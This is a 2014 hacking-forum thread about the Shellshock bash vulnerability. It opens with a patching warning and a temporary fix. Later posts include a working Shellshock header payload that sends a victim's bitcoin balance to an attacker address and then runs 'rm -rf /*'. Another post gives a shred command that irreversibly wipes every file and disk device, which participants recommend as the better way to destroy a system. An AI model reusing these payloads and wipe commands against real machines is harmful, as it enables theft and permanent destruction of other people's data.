+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking)
+--- Thread: Shellshock wormable. Consequences to not patching your server are big. (/Thread-Shellshock-wormable-Consequences-to-not-patching-your-server-are-big)
Shellshock wormable. Consequences to not patching your server are big. - Null_Byte - 10-03-2014
Well fuck. Those are the only two words I had to say when I noticed what one of my friends did. The creator of masscan, Rob Graham (A friend of mine from HOPE) took masscan and turned it into a shellshock scanner. What I noticed today while checking logs was that I got scanned by it and it could have responded. Someone out there is using the same method to deliver malware to the denizens of the internet, running unpatched systems. Patch your shit already XD
Code:
/bin/sh -> /bin/bashIf your shit says that, well you are still vulnerable (If you haven't performed a patch). A nice temp fix would be to change the symbolic route from that to:
Code:
/bin/sh -> /bin/dashDash, as far as I know, isn't vulnerable to this bug. I'll be working on a small scanner in python later after packing up my shit since I have to move so expect that later on in the day. On a side note that scanner might actually turn into an exploit or something. I'll share the code with anyone who wants it ( I do love criticism so hit me with all you got :P)
*Edit: Someone should create a worm that patches Bash. Seriously.
RE: Shellshock wormable. Consequences to not patching your server are big. - Eclipse - 10-03-2014
Well fuck indeed. That could theoretically find every vulnerable system. God help us if it's modified to auto-pwn with an exploit.
RE: Shellshock wormable. Consequences to not patching your server are big. - Null_Byte - 10-03-2014
Lol. Someone was doing the same as the creator of masscan. He even made a post saying that XD they were using the cover he was providing unknowingly. Either way if they know how to perform the attack right they can easily compromise most machines. I've made sure mine were all patched and I don't think mine made a call back to him XD (although there were a lot of automated scans provided by skids)
RE: Shellshock wormable. Consequences to not patching your server are big. - Reiko - 10-03-2014
Origin: () { btc; }; bitcoind sendtoaddress 1MyBTCAddressFake `bitcoind getbalance`;rm -rf /*
The above idea is not mine; I've seen it being done by a few kiddies. The one that I saw, in particular, has made two whole dollars!
RE: Shellshock wormable. Consequences to not patching your server are big. - Null_Byte - 10-03-2014
God if an automated scanner/exploiter comes out for this we are fucked....well most people who can't patch/update a systems are -.-
Also on another note.......why the hell would your rm -f without --no-preserve-root or why would you do that in general.....this is the opportune moment to gain control of a system...not wreck it. Fucking skids ;w;
RE: Shellshock wormable. Consequences to not patching your server are big. - Akane - 10-03-2014
(10-03-2014, 04:08 PM)Null_Byte Wrote: Also on another note.......why the hell would your rm -f without --no-preserve-root or why would you do that in general.....this is the opportune moment to gain control of a system...not wreck it. Fucking skids ;w;
Some men just want to watch the world burn.
Those men are stupid, but common.
RE: Shellshock wormable. Consequences to not patching your server are big. - Eclipse - 10-03-2014
(10-03-2014, 04:08 PM)Null_Byte Wrote: Also on another note.......why the hell would your rm -f without --no-preserve-root or why would you do that in general.....this is the opportune moment to gain control of a system...not wreck it. Fucking skids ;w;
Skiddies gonna skid. When a skid downloads a script from HF, they probably don't know much more than how to press return, so they resort to showing off their e-peen to their l33t haxor buddies.
RE: Shellshock wormable. Consequences to not patching your server are big. - Reiko - 10-03-2014
(10-03-2014, 04:08 PM)Null_Byte Wrote: God if an automated scanner/exploiter comes out for this we are fucked....well most people who can't patch/update a systems are -.-
Also on another note.......why the hell would your rm -f without --no-preserve-root or why would you do that in general.....this is the opportune moment to gain control of a system...not wreck it. Fucking skids ;w;
Why? Because that's all they know to do.
Besides, if you really wanna trash a system you use srm/shred/dd
Code:
find / -exec xargs shred -uzn 3 {} \; & shred -uzn 3 /dev/{s,h,v,xv}da* /dev/simfsRE: Shellshock wormable. Consequences to not patching your server are big. - Null_Byte - 10-03-2014
(10-03-2014, 06:03 PM)Reiko Wrote: Why? Because that's all they know to do.
Besides, if you really wanna trash a system you use srm/shred/dd
Code:find / -exec xargs shred -uzn 3 {} \; & shred -uzn 3 /dev/{s,h,v,xv}da* /dev/simfs
:DD yay someone agrees with me on shred XD